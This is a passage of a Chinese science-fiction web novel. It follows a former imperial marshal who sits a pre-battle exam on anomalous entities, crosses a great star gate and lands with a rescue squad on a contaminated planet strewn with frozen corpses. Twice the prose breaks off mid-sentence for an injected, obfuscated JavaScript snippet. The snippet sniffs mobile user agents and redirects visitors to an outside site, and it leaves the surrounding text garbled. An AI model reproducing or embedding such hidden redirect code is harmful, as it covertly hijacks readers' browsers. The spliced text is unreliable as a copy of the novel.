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君临的街道上,暴雨冲刷如瀑布。行人稀少,风衣打伞的女孩眺望天际,高楼大厦,巨像悬浮,霓虹的光晕在雨中朦胧,天穹被反射成明亮的镭射紫,雷暴般的阴云。 “喂?”女孩松开手,搭载了反重力模块的雨伞直接浮在她的头顶,她双手插兜,耳朵里塞着造型奇怪的通讯终端,“喂喂喂?歪?” 通话那头响起奇怪而含糊的声音回应。 “是我啦,我是尼罗!你们亲爱的前线记者,我在君临,你们想要的,我都看清楚了。”尼罗漫步在雨中。 数日前,她还在圣庭那样的帝国禁地被围捕,今日却若无其事地在君临的大街上散步,像出来逛街的帝国公民。所有从她身边走过去的行人,都仿佛对她的存在视而不见。 又是一阵奇怪的咕哝,急切仿佛质问。 “主力星舰配置?” “我想想……光是我能看见的,他们没有掩藏的部分,就起码有上百艘深渊级主舰,每一艘都搭载几百艘黑死级的突击舰,方舟级、死星级的主舰更是上千,至于星桥那种特殊舰群更是史无前例的多......”她忽然沉默了一瞬,“而且,我听说,这次甚至会出现‘创世级’的星舰。” 通话对面,含糊的声音大喊大叫起来。 “它们有绝对的毁灭行星群甚至恒星系的能力,这次帝国下了血本,不要再跟我狡辩了,‘新世界’那帮蠢蛋不是给过你建议么?让‘它们’孵化吧!吞噬群星的存在,新的孩子们,我也期待已久了。” 通话对面死寂良久,仿佛是完全掉线了。 “有一个意外的惊喜,你们不会相信,”尼罗面对着贯穿天地的雨幕低声说,像是自言自语。 “在这片公认的‘伤毁的蒙尘之地’上,我居然遇见了一个我们新生的孩子。 你们难以想象他的不可思议,我要以精神场入侵同化他,却差点被反过来杀死,他的精神中,有某种拥有唯一性的东西存在,一个痕迹一个烙印或是一块碎片,我说不清楚,但那东西不允许丝毫触碰,以我的位格,只是接触到也差点被碾碎。如果按他们人类的划分,他精神中的那东西是君王级?魔神级?更特殊的编织者?或者......” 她的声音梦魇般低下去。 通话对面的声音也傻了,随即发出一连串嘀嘀咕咕的声音。 尼罗闻言笑了,这么笑的时候,她还是像一个人类的女孩,笑容纯粹, “回归族群?不用这么着急。你知道我们在精神场中的分量,和对彼此的吸引力,这些联系强的像是‘命运’,总有一天,他必然会回到我们之间的。” “等等吧!一切很快就要开始了。”她抬起头仰望星空,瞳子里像是流动着瑰红的雾气。那里面繁星归位,像是映着古老的纹路,秘仪将起。 20. 20 大星门 “太阳之舟”号恒星级战舰 第122号落地舱 在穹顶大厅整队后,每支中队就陆续进入了对应的落地舱。 阿龙迦所在的3-15中队的落地舱大而空旷,不存在窗户的设计,除了脚底的地板,整个天顶和舱室壁都是透明的,外面的太空是浓墨般的漆黑,扭曲的星光在舱外流动。 舱室中没有别的东西,只有两列靠墙的长椅,阿龙迦和其它的102个人面对面坐成两排,椅背上降下安全锁把人们的双肩紧紧地压住,虽然还处在漫长的跳跃中,但要切实踏上一线战场的战士们时刻都在准备了。 此时此刻,星舰群大概刚刚走了王庭星团半径的一半,阿龙迦严肃地正襟危坐,正在……做题。 没错,正在做题,考试。星光在人们脸上明明灭灭,有时甚至呈现出油膜般的色散,绚丽朦胧,星光的笼罩下每张脸却都是一样的严肃,眉心皱得能夹死苍蝇。阿龙迦盯着面前展开的光屏,眼角跳了跳。 做题……做题,难道他打了无数次仗,在死亡里还又再醒来,就是为了坐在这里做题?而且这里的灯光难道不会太暗了么?对眼睛不好吧? 倒不能说阿龙迦是个文盲,在军校只长肌肉不长大脑,只是他擅长的考试实在和今天不同。 阿龙迦喜欢的题,像什么计算引力弹弓最佳趋近时刻,拟合逃逸曲线啦,什么多体问题奇异解,甚至星舰动力中枢制图,让阿龙迦来做都只是洒洒水,但是读书一十四年,阿龙迦平生最不想见的题,就是叙述题,别名:写论文。 有的题理解就行,起手开算就完事,而有的题你一定得背,不仅得背你还得一字不差,完了还要按观点长篇大论地论述。上次受这种折磨还是十几岁的时候,阿龙迦滚动题目,眉头不由得越来越沉,这考试怎么和二十年前他记忆中的不一样啊? 他面前的正是大卫在几天前提醒过他的考试,卷面限时两小时,完整大名是《异常及其衍生物-实战前考核》,专门在上战场前考核你对异常是否有足够的理解。在大卫嘴里,这是一个“轻轻松松”的考试,只要划重点就能过,可是眼看着大题远多于选择题,每个大题都恨不得要留出一页,要你写一篇小论文,“请按照给出的案例论述你的观点”,太久不考试的前帝国元帅忽地有点坐立不安。 不应该啊?在他的年代,上战场前,要测试军人对异常实体的理解,一般只出选择题的啊? 而且为什么所有人都在考?阿龙迦余光一扫,能看见舱中的103个年轻人面前都是一色的光屏,在他那时候,可是只用在第一次踏上战场前做这个测试。总不能这里所有人都是第一次踏上战场吧? 这个疑问在附近俩人交头接耳时被揭晓,有很年轻的声音悄悄地说: “这次考试这么难啊?” “新评测啦,新考卷!听说陛下已经发动改革,从这次开始,以后每次发动全面战争,全员都要做一次测评,据说是要不断加深对指导手册的印象。” 阿龙迦恍然,不由得在心里大叹陈寂卑鄙。他认命地继续看题目。 这一题,是“……(详细案例),列出遇到疑似异土后的四种上报手段,请结合情况分析此处适用哪种手段,并说明其优缺点。(5分)” 上报手段?四种???拜托在以前就只有别人上报他没有他上报别人,如果上报危急事态的流程是一条线,阿龙迦就处在这条线的终端,人们上报给他就上报了,哪里有四种手段?难不成他长了四只耳朵么?从东南西北四只耳朵各上报划分为四种手段? 要想让他能够为这种题目写出长篇大论,只有把题干里的“上报”改为“杀穿”,杀穿异土的手段,也许他还能说出四种来。 再下一题是,“在污染星战场上,撤离帝国公民时,为什么不能使用星舰近地战斗?小型舰船呢?在你的答案中,至少提到两种实体。(10分)” 阿龙迦眉毛一挑。终于有一道能让他也写出点长篇大论的题目了,他自信地开始打字,写不来论文式的起承转合,他干脆直接开始列实体: 1.【A001号实体-遮天的青铜之翼】,该实体成族群出现时会引发异象“禁空”,从概念层上杜绝飞行行为。按实战经验来看禁空的影响一般包括到污染星的大气层,使用任何型号的舰船都会直接坠毁。除非研制出概念武器。 2.【B017号实体-众械成虫】具有生命行为的机械造物,多肢节。能够间歇发出能量脉冲,瘫痪一定范围内的仪器,包括小型舰船。除非使用极其特殊的能源艇,一样会坠毁。 3.君王级异兽。君王级异兽作为族群领袖,标志就是能够领导族群进行深空航行,为此它们有两个天赋,一、虫桥,二、牵引力场,虫桥用于进行超视距跳跃,牵引力场则用来保持航道的集中。以上两种天赋都对近地小型舰船具有致命风险。 阿龙迦学聪明了,这样说明至少有些题他是能写出来一点论述的,于是专门开始找自己能写的题。 很快就被他找到了一道:“为什么不能使用人工智能操纵机甲,而完成战场的去人力化?远程人工控制呢?(10分)” 这问题真是很熟悉。这其实是从整个黑暗时代降临以来,军部被质问的最多的一个问题。 换句话说就是:“为什么一定要人类亲自上一线战场?你指挥什么的能呆在后方让人类上可以,但是科技这么发达了为什么一线交锋的消耗品还要人类顶上?”每次救援都是多大的牺牲,这机甲就一定要人类亲自操纵吗? 答案是:是的。这机甲还真只能是人类亲自、亲地操纵。原因很简单,有足够智能代替人类驾驶机甲的都不是真正的生命。无论怎么迭代,人工智能的算法都有局限性,在异常这种异变突发的战场上总有概率出现逻辑漏洞,这个数字扩大到几万具机甲时,出现漏洞的概率就到了不可容忍的地步,而且一旦有特殊实体出现,它们极其容易被蒙蔽。 至于为什么不能远程人工控制,这个问题就更简单了,因为污染星地表会生成大规模的精神场,而精神场对信号传输影响极大。 综上所述,哪怕只是救援任务,也只能以人类的牺牲来堆。 再往下,终于出现了阿龙迦倍感熟悉的选择题,他不由得精神一振,下笔如有神。 比如: (1)在战场上,以下常见的实体中,哪种实体危害度最高? A.遮天的青铜之翼B.“眼”C.镀金天使D.诛戮陷绝 (2)上述四个选项中,如果同时在战场上遇到,处理优先度最高的应该是哪个? 阿龙迦眉峰一扬,居然能看到这种层次的题,让他稍稍有些意外。这已经不是直白地在考你对实体描述背的熟不熟,而是在考实体特点和战场情况的结合运用了。 这两道题看似在问同一个东西,稍不注意很可能会选一个答案,但阿龙迦毫不迟疑就写下了A、B两个选项。危害度最高的是青铜之翼,因为它会让人持续掉理智值,但处理优先度最高的却是“眼”。“眼”堪称最无解的实体,它能和在场所有实体共享视角,同时有超过三个“眼”在,战士的存活率就会跌至一半,当超过十个“眼”在场,人类几乎没法反抗,只有溃败。 至于其它几个实体究竟是什么,长什么样,有什么功能,上了战场反正都会遇到,所以此处暂且按下不表。 却说阿龙迦刷刷写完选择题,终于觉得灵性活泼、念头通达了一些。 计时一到,试卷窗口自动关闭。光屏熄灭,每个人都像泄了一口气般靠在椅背上。 阿龙迦随口和周围的人谈了谈,发现这些都是些资历尚浅的护卫,又套了几句话后,心里明白耶罗银安排他进这个中队果然还是照顾了他。 如果阿龙迦猜的没错,这些人应该还真是踏上战场没几次。 陈寂的“护卫”规模庞大,前文说过更像是他着重培养的小班直、新一代,放出去做官前都要在陈寂身边先做一任护卫,所有护卫在职期间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16126980|180100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要求必须有战场经验。而他现在身处的这支中队,赫然就是些最年轻的护卫,这次是把他们放出来磨砺了。 估计到时候分给3-15中队的也只会是低风险区域的救援任务。阿龙迦心下了然。 他正这么想着,忽然有人低声说:“界港到了!” “看!大星门!” 为了维持重力加速度,落地舱在做匀速缓慢的公转,上一秒舱外还是漆黑的视界,下一秒,像有光在眼前闪过,宏伟的太空巨构在视界中跃出。 无尽的黑暗中,只有那个巨构。或者说,只有那扇巨门。 它是由无数重巨大的“环”组成的,这些巨大的同心圆环镶套在一起,呈现出不同的倾斜角度,远远看来,使人目眩神迷,像是某种蕴含着至理的几何模型。不知道这些巨环是以何种材料打造,呈现出寒冷的灰白色,仿佛死去的山脉。 圆环的中心,是一层变幻的涟漪面,肉眼看去,仿佛起伏的轻纱。 星舰此时已经退出曲速跃迁,以低速行驶,周围的空间不再扭曲,万物的“大小”又重新具有了意义。 恒星级战舰已经是庞然大物,可在战舰上直视大星门,依然令人失语。那些同心圆环的大小远超普通行星,有如巨大的行星环。它只是静静地存在着,迎面扑来,太空巨构的那种厚重,和无与伦比的力量感,让人心底一动,不由悚然。 “已经到达王庭-第一星环界港。” 长椅的尽头,有一个人推开安全锁站起,正是报数时的中队长,阿龙迦已经知道他的名字叫做原野,是个眉毛英气的年轻人,身形魁伟。“你们有三十分钟的活动时间,三十分钟后,我们将通过大星门进行跳跃,穿过黑暗屏障,直达污染星,然后,我们将直接降落。” 年轻人们纷纷推开安全锁站起,阿龙迦来到窗前,凝视着大星门。那圆环巨构一般会夺取人的所有注意,但是如果仔细观察,会发现大星门之后,有肉眼不容易看见的黑色环带建筑,延伸进不可视的黑暗之中。 这就是界港。 界港在每道星环的边界处,守卫着大星门。其实所谓的第一星环、第二星环、第三星环并非由人类划分,而是自黑暗时代开始,宇宙中忽然出现了一些无法通过的禁区,它们刚好呈现出几面“球壳”状,将宇宙划分成了截然分明的圆心、圆环,从此星环的概念自然成型。 这些“屏障”上,仅仅有少数的官方航道能够通行,好比这些球壳上有一些虫子啃出的洞,通过这些小洞,也可以爬进爬出,这些官方航道被帝国牢牢地把握在手中。其余的所有交通只能通过大星门进行跳跃。这就是大星门的重要性。 “看什么呢?”有人一拍他的肩膀,阿龙迦回头,居然是大卫。这小子还是跟着来了,看着居然还挺乐呵,对上战场没有表现出任何的畏惧。 “看界港。”阿龙迦以目光示意,“你不是说陛下推测上次那个混进圣庭的污染种,要么是从界港混进来的,要么在黑暗屏障上找到了新的路吗?” “陛下是这么说的,但你能看出来啥?”大卫撇撇嘴,有点不相信,“他们把长城环带建成黑色的,就是不想让人看到吧?” 大星门-长城环带,这是界港的官方名称。 阿龙迦不置可否。他其实是在观察,这一带的关键布置,是否有什么变化。 大卫溜溜达达地不见了。 阿龙迦独自一人和星门相对,仿佛深空的巨眼和人类隔着几十万公里的距离凝视彼此。 他深深地呼吸,太空死寂而寒冷,他却怡然得仿佛回到属于他的战场,凭临故土。胸膛中像有血气缓缓苏醒,那种让人浑身微微发烫的渴望,让人想要去奋武想要去拼杀……真好啊。让人知道自己还活着。让人觉得掌心发痒,想要大吼:我的剑!在哪里? 这一刻,仿佛阔别了七年,天空中的武神再一次将目光投到他的头顶。 这是战争开始前的一夜。命运这个碾压众生的车轮,正要开始转动。 21. 21 北冕座小珠星 “从大星门跳跃开始,各个舰队将进入不同的航线。” 队员们都已回归座位。中队长原野在两列长椅间缓缓踱步,进行战前最后的嘱托。 “我们作为星舰联盟第七舰队下辖师,目标战场是北冕座v1星系,这个行星系有六颗行星。 其中,检测到异常的污染星有四颗,不巧的是,这四颗都是居民星,每颗行星都需进行救援性撤离,所以我们的战线将一分为四。” “3-15中队已接受指挥部分配,得到的任务是,”原野目光沉稳,扫视每个队员,眉毛像两笔泼墨,“进入‘小珠星’战场,在指定居民区废墟中,安全撤离被掩埋的40余名帝国公民,目前,还能够确定生命体征的公民一共有47位……” 原野凝视着身边这些年轻的脸孔,语锋忽然一转: “要我说,这根本不是一个有难度的任务。居民区在卫星监控的安全区内,也就是说我们只需要奔袭,搜寻废墟,救人就行了。说来和救生员和消防没什么两样,所以谁能告诉我,这次任务我们的目标该是什么?” 阿龙迦对面有个长脸的年轻人举起手,“我认为,应该是顺手清理附近的危险区。” “分出小队猎杀异兽?”另有人插话,“军功是按击杀数算的吧?” 这人似乎还嘀咕了一句:“救援任务……怕是一点功劳都没有的”。 原野既不点头也不摇头,只是问出声的两个人:“你们的名字?” “项少陵。” “彭烈!” “项少陵,彭烈,此战结束后去新兵营负重一个月。”原野面色不改,展开光屏,“你们的惩罚我已录入系统,战斗结束后即刻生效。” “凭什么?”彭烈腾地站起身来,一张圆脸涨得通红,明显是个性格激昂之人,“我做什么错事了?凭什么罚我,你没有依据!” 项少陵坐在原地,面色阴晴不定,虽然保持了沉默,但显然也是心有不忿。 “没有依据?”原野面无表情,黑瞳子闪灭,忽地喝到:“临到战场上了连最重要的军规也没记住么?这难道不是大错?!我问你,《行动指导手册》的第一条和第二条是什么?” “在战场时,需要牢记人权公约。一切行动,以人权公约为先……”彭烈面色忽然从赤红转为酱红,住了嘴。 原野却不让他就此沉默下去,“看来你还是学过的。人权公约的内容是什么?给我背!” “……当最终判定小于污染阈值时,永远,以撤离帝国公民为第一目标……”彭烈从牙间挤出扭曲的声音,面色在其他年轻人的目光中简直要转为绛紫,像要涨破他那张面皮。 “队长,我知道错了。”一直沉默的项少陵忽然开口。 原野根本不理他,继续说:“所以我们这次任务的目标只有一个!自始至终也不会变!那就是生命体征平稳47人,我们撤离帝国公民时也该一个不差地撤离47人!少一个,这次任务在我心中就被认为是失败。失败后,所有人战后再加三个月的负重。” “明白了么?!”一直面色不改的原野面容忽地大吼,额角青筋毕露。“47人,一个都不许少!” “明白!”队员们再无二话,齐齐回答。 “即刻穿戴机甲。”原野又恢复为面无表情。 所有人的体表都开始被机甲层覆盖。像是有水银在游走那样,一眼望去,满室的人身上都是一色的苍红,迅速展开。在星光中,金属表面流淌着一种深黯的暗红色。 一百零三具常型000-E类改-夸父,同时覆盖! 阿龙迦被包裹在这具高大峥嵘如鬼神的机甲中,本来以为安全锁会被撑开,或者所有人都会紧紧地挤做一团,但是背后的座椅居然也同步做出了尺寸的自适应改变,显然,在这个落地舱中,连这些座椅都是经过微单位编程过的纳米材料。 等所有人穿戴完毕,原野再次开口:“谁能告诉我《行动指导手册》的第八条是什么?” 阿龙迦举起手,“不要离开机甲。队友不会让你离开机甲,让你离开机甲的不是队友。” 原野点头表示认可,“听到了么?从落地开始,一直到营救完成回到星舰,一次都不许脱掉你的机甲!在战场上,这东西就是对你小命的最后一层保障。不想死,就给我在机甲里呆着。” 他又展开光屏,“权限授予,接入小队AI。” 似乎只过了0.01毫秒的时间,阿龙迦,以及其他101个人的机载个人频道中,都清晰地流过电流的噪音。然后一个轻快的声音在阿龙迦耳边响起: “达摩克里斯最终判定程序,甲申24号子程序接入。” “您好,我是最终判定程序的一个备份,甲申24号子程序。您可以为我命名,我将负责您和中队里其他10位成员的后勤计算,联络,报告,战斗辅助,包括和总程序的双向信息分享。注意,您将和其它10人被自动划入同一小队。甲申24号将为您提供一切实时战场数据,并发出风险警告。很高兴成为您的战斗伙伴,合作愉快。” “命名……就叫你24号吧,”阿龙迦答道,“合作愉快。” 小队AI,前线的惯例配置,更像一个团体型的后勤辅助。 “这是最终判定程序在你们每人身边的一个备份。进入战斗后,所有人都将成为最终判定程序的一只眼睛,一切信息都与之共享,最终程序将能强制性地见你所见,想你所想。” 原野负手而立,“请不要妄图做出任何欺骗最终判定程序的举动,这将是极其愚蠢的,因为进入战斗后,最终程序将无处不在,不仅在你身边,也将布满天空之上。每一艘恒星级战舰都会加载最终程序,成为它的算力载体,你的一举一动,都将无从遁形。” “所以,在最终判定程序的监控下,你们只有一个选择,”原野一字一顿地说,“严格按照《人权公约》行动,当污染值小于阈值时,极力营救每一个可能存在哪怕一点生命信号的公民;当污染值大于阈值,迅速撤离!” 最终判定程序,全称“达摩克里斯最终判定程序”,究竟是干嘛的,其实很简单。 它被创造出来只有一个终极目的:衡量一颗行星的污染度,给出唯一的权威判定。 一颗行星的污染程度,你很难说的清。 最早的时候,甚至发生过帝国军队主观判定一颗中度沦陷星无可挽回,而直接放弃救援公民撤军的事情,这个撤军的决定当时是被三位大校(这支军中当时的最高领袖)一同署名通过的,也就是说当时的战况,大多数人都“感觉”不容乐观——无可救药了,然而事实证明,再大多数人的“感觉”在异常面前都做不得准,因为事后,这颗星上的土著居民自己组织出了抵抗力量,经过顽强抗争,竟然成功陆续有人逃出生天!而逃逸的大股难民居然经历千难万险抵达了帝都,直入君临,向最高法院起诉了当时的整个王室和军部,罪名是: 见死不救!抛弃自己的子民扭头就走,这是帝国官方赤裸裸的反人类! 此事被引为典例,事后就有了“反人类罪名”这个说法,确立了往后三千年人类在异常面前的底线:尽力保证同类的生命。即,见死不救是有罪的。 在几千年中,一个用于监控污染战场,给出污染度判定的程序也逐渐被完善。它的核心算法迭代了太多次,已经复杂到不可思议的地步。没有任何一个“个体”能完全明白它的各个逻辑板块。 但是历代的测试科学家公认,“达 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16126981|180100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摩克里斯最终判定程序”,能够给出的污染判定是最准的,超过了它给出的污染阈值,基本就无可救药了,再坚持下去只是消耗人命;低于这个阈值,那么无论战况再差,也不能轻易放弃对公民的救援,这是对生命的不负责任。 最终判定程序监控整体战局的能力细致入微,这么些年,已经有些超过了一个纯粹的“判定”,而是向掌控全局的“天眼”靠近了。 几千几万个战士都是它的一颗复眼,它看到的一点一线,交织流动,绘制出血火泼溅的一卷巨幅油画。 “准备,”原野回到座位上,紧紧地直视着大星门,“即将进入大星门,开始虫洞跳跃。” 如果有人此刻在外太空,或者界港上抬头仰望,会看见成千上万艘星舰正在逼近大星门,像是千万条光束经过透镜,聚拢到一个点。大星门中心的涟漪面波动起伏,千万条“光束”没入不同的水波中,转瞬消失。 大星门的涟漪面仍在波动,寂静空旷,永恒如一瞬。 …… 仿佛一滴水坠下,意识恢复在平静到虚无的一瞬间。 阿龙迦再睁开眼时,星舰显然已经处在截然不同的宇宙象限。 透过天顶、四壁,一颗恒星在漆黑的天穹中高悬,光芒寒冷,而离星舰下方极近处,一颗赭红色的行星占据了整个视野,仿佛暗红色的大地。 “您已到达北冕座v1星系。”24号的电子音在耳边响起,还是那么轻快,仿佛只是飞机降落时汇报天气,“您现在看到的这颗恒星就是北冕座v1,在不同的命名体系中,它又叫做贯索增八。它是一颗罕见的拥有行星的脉冲星,强磁旋转使得它的六颗行星每次公转的轨迹都会有所改变,所以哪怕人类已经能够抵抗天气变化,该行星系中的居民也不多。” “正在进行任务核实……任务已颁发,由太空军署长杜无悔签署。” “任务内容:降落小珠星地表,前往坐标为(27°13'',15″N)的白石居民区,撤离当前生命信号稳定的47位帝国公民。” “都接受到了任务吧?”原野的声音在落地舱中响起,“倒数十个数,我将解锁落地舱,开始着陆。” “24号,我有一个问题,”阿龙迦不紧不慢地开口,“搜索小珠星呈现赭红色的原因。” “搜索完毕。根据过往检测,小珠星呈现赭红色的原因,是海洋中存在一种特殊菌类,这种特殊菌类的分泌物会使海水大规模变红。几亿年的沉淀使小珠星呈现出了今天的赭红色,”24号的声音出现了停顿,“只是,根据图像对比,这种红色似乎有所变化。” 阿龙迦来不及再问了,落地舱的降落已经开始,它将穿越小珠星的大气,高速逼近目标降落点,在离地面几十米时反推进减速,然后稳稳着陆。 轻微的电流声再次响起,一个金属质感的声音同时在数十万机甲的机载频道中响起,但是阿龙迦知道,这次不再是24号了,那是一个截然不同的声音,没有丝毫情绪,那是达摩克里斯总程序在直接和每个人对话: “时间稳定力场已展开。” “防虫桥跃迁屏障已展开。” “牵引束随时待命。相位跳跃环境搭建完成。” “算力接入最终判定程序。当前算力占用:45%。最终判定程序状态:常态。” 滴的一声后,那个声音说道,“您好,您已处在达摩克利斯最终判定程序的注视中。从现在开始,您的一切信息将直接与最终程序相连。您当前所处坐标为…,小珠星上空九万米,当前污染度:17%。空间稳定度:高,现实扭曲度三级,凡三百米内无实体。” “您的落地仓已解锁,计算降落地点无异常。您现在可以出发了,祝您好运。” 22. 22 红莲华 反向加速度在一瞬间就超过了六个g,强烈的超重感袭来。 在一个剧烈的震颤后,落地舱成功着陆,舱内顶灯齐齐亮起。 透过四壁,可以看见这颗名为“小珠星”的行星的地表。 一切荒凉得不可思议,几乎让人感到一种缓慢的寒冷。落地舱降落在一片空地之上,举目望去,地平线上只有废墟。 他们似乎正处在一座城市的入口处。城市巨大的残骸,像一副被噬空了血肉的枯骨。 飞跃的大桥断裂,天空塔倾倒,粉碎在地面上,积起山脉一样的废墟,高低的大厦四面被穿透,巨大的夕阳从那个缝隙中漫过来,异变的爬山虎涌上水泥面,淌血一样显出刺眼的鲜红。 荒无人烟。一切都太安静了,似乎只是夕阳下一个被废弃的老城市。可在这样一座被异常污染的鬼窟中,安静得令人毛骨悚然。 “分享路线。”中队长原野在落地舱中站起。 “滴——” “确认目的地中,”机甲的个人频道中,小队AI“24号”的声音在阿龙迦耳边响起,“已为您规划路线!” “沿当前路线直行300米后,请沿中心大道,横穿此城市废墟(最快)。或者右拐至沿江大道,绕过该城市(慢7小时50分钟)。” “预计步行时间:五小时。” “我们直穿这个城市废墟,”原野的声音清晰地透过机甲,“所有人,离舱步行。” 一百多个队员们无声地起立,清一色的龙旗舰通用甲“夸父”,像是上百个高大的夸父族战士,披着赤铜的战甲,亟待出征。 阿龙迦右手一抹,机甲左臂上的收纳口滑开,等离子体剑柄已滑入他的手中。 “所有人武装待命,1队,清扫废墟,2队到4队,负责开路,”原野的命令斩钉截铁,“开门,出舱!” 原野一声令下,下一秒,阿龙迦的机载频道中就再次响起了24号的声音:“您好,2小队5号队员,您的临时任务已颁发:为中队开路。” 阿龙迦点击确认,看来他是被随机编入了10支小队中的第2支,开路的任务,倒是正合他意。 队形重整,他和其余负责开路的队员来到队伍的前端,舱门缓缓升起,冰冷的夕阳兜头涌下,阿龙迦缓缓握剑。 这支一百余人的中队踏入了这座死城之中。 几乎每走几步就有拦路的障碍,清扫工作迅速开始,其他人呈巨大的扇形散开,持武器警戒。 城市的布局已然粉碎得一塌糊涂,可中心大道依然隐约可辨,顾名思义,这是一条位于中心的宽阔的大道,笔直地剖开这座城市。 如今这条大道已大半被掩埋,枯萎的观赏林木纷纷横倒在地,坠毁的飞艇,金属残片,诡异挖断的路面,大道上就没有一块干净的空地。 最大的路障是无数的陆行车,这些陆行车似乎发生了连环的车祸,追尾的陆行车一直塞到看不见的远方,挤得水泄不通。 阿龙迦身侧,有人上前看了一眼那些追尾的陆行车。“不是空车,里面都有人。都死了,死相挺难看的。” 阿龙迦听出了这人的声音,是强出头被原野罚了一个月负重的彭烈,性格犟而激烈的小伙子,有一张通红像是憋着怒气的圆脸,没想到和他分到了一个小队中。 阿龙迦从几辆陆行车旁走过,那些车的驾驶位和后排都坐着人形,每辆车都几乎载满了。他不动声色,心却慢慢地往下沉。 彭烈说的没错,车里那些人的死相确实难看。举目骇然,让人心里一惊。 这些车明明不是废弃的空车,载的人不在少数,第一眼看去,却会让人忽略掉这些“人”的存在,因为看上去已经不像人了。 每个“人”,都是通体绛紫色的,像干枯的肉干。 是种像是在地下埋葬了上千年的紫色。自然死亡的人皮肤往往会发青发紫,那是肌肤下血块凝固,形成了类似淤青的存在,通常,人们把这种大面积的淤叫做“尸斑”。但是尸斑都是一块一块的,眼前这些人身上像是尸斑全部扩散,连在了一起,或者淤得太严重,那种骇人的紫色已经完全吞噬了青色,这绛紫太深太浓,肌肤像是透明的,沉积的血全部沁在表面,紫到透出隐隐的暗红色。 不仅如此,每个人的皮肤,都是皲裂的,一块一块地裂开,像是干涸的大地。 这很像被焚烧后的结果,被烧死的犯人,皮肤就会像树皮一样开裂,形成这样的焦炭状。可是怪异的是,这些绛紫色的尸体却十分完好,没有半点被烧过的痕迹,也没有丝毫腐烂。只是剧烈地干抽了。 如果仔细去看这些绛紫色的脸,似乎还能从干瘪成一团的五官上,读出生动的神情。 “他们死的很快,几乎只在一个瞬间。”阿龙迦缓缓地说,“所有人的死亡时刻都非常集中。” “没有人预料到了这个意外的来临,这个因素从出现到爆发起来就像一个响指那么快。而且,他们的死状太典型了,状如烧灼,却躯体完好,色作红紫,身变折裂。这些都明确指向一个很特殊的实体……” “——‘A033号实体:大红莲那落迦。’”另一个声音插进来,声音刚昂。 “记的不错,”原野向他们走来,“A033‘大红莲那落迦’不是种常见的实体,很少有人能这么快就想起来。‘大红莲那落迦’的意思是‘红莲地狱’,本来是八寒地狱的一种,人待在其中,严酷寒冻而死,死时血肉冻作红色,整个身体裂为八瓣。所以虽然死状有如火焰焚烧,却其实是冻死的。” “看来他们遭遇了A033号实体。所有人都死于一瞬的极寒。” A033号的完整资料在阿龙迦的脑海中浮现。 【A033号实体:大红莲那落迦】 又叫红莲地狱、红莲华。 高危实体,波及范围极广,极难防范。 外表为一朵细小的红莲花苞,无明显辨识度,极易和普通植被混淆。该花苞会突兀出现在正常情况下不会生长红莲的地方,如水泥路面、石板表面。 无害化措施:需在30秒内点燃该花苞,以明火烧为灰烬。 若它出现的30秒内没有被发现,并成功烧毁,该花苞会进入开花期。它开花的一瞬间,周围的一定范围内,将化为极寒地狱。 影响范围为从一公里到半径三公里不等,温度以零下200度为中心进行自然分布。 “钵特摩,此云红莲华。严寒逼切,身变折裂,如红莲华。” ——《俱舍光记·十一》 红莲那落迦的危险之处,就在于它的影响范围太广了,留给人发现和做出应对的时间又太短。 想来这些居民就是在慌乱奔逃,发生交通追尾时,A033忽然降临在公路之上。一瞬间,赤地千里。方圆数公里之内的人们都在一刹那送命。 队员们简略地搜寻这些车辆。 更多的车中有更多的人。有的乘客明显能一眼看出是一个家庭,大的绛紫色人干紧紧地蜷缩在车椅中,它的怀中,被护在胸腹下的则是冻成酥粉的小型人干; 有的后排上坐着两个同样分不清面目的人形,干枯的手臂像肉条一样紧密地缠绕在一起,似乎在红莲绽放的那一瞬,正牢牢地牵着手; 有的似乎意识到了极寒的降临,拼命地扑在车门上,要开门逃跑,可是来不及了,整层人皮被冻裂脱落,粘在了玻璃上,倒下的尸体只是白骨。 阿龙迦长久地沉默了。似乎除了“倒霉”他再找不到别的原因,A033出现的频率并不高,甚至十次救援任务都不会碰到一次,可它一出现,造成的伤亡就不可计数,方圆几里顷刻间了无声息。 这条漫长的大道上,都是不久前遇害的公民,死相惨烈得不似人间,像是那个传说中的地狱真的短暂降临了。队员们行了短暂的注目礼以示哀悼。 原野抬起手打了个手势,中队就要再次向前。 忽然,风中传来了一缕微弱的哭声。 那个声音被风拉得纤纤细细,低如蚊呐。仿佛压抑不住的一声啜泣。 原野手一抬,所有人都极度地警惕起来,负责开路的队员缓慢上前,进行查看。 离得越近,那一线哭声就越生动。声音清澈,仿佛一丝银线抛起,哭声里是漫溢的无助和哀伤,像小动物的呜咽。 有的第一次踏上战场的护卫心底不由得砰砰跳起来,难道有幸存者?可是一片死地中突然出现生还者太可疑了吧?而且A033真的会有幸存者么?会不会是装成人类哭声的异兽或者实体?这样一来当然很合理了,但问题是——为什么异常警报没响? 难道真的是人类幸存者?也太幸运了吧? 第一个上前的依然是彭烈,这人似乎急着将功补过,有点火急火燎的。 哭声来自于大道最靠边上的一辆车内,彭烈大步上前,吐了一口气,右手以束能枪紧紧地抵住,静立数秒,左手大力拉开车门。 他拉开车门的瞬间,背后的所有护卫都将火力瞄准了车内,从束能枪到大型磁轨枪,所有准星都聚集在了一起,如果有什么意外发生,绝对的火力压制会将彭烈的机甲和意外一起打成筛子。 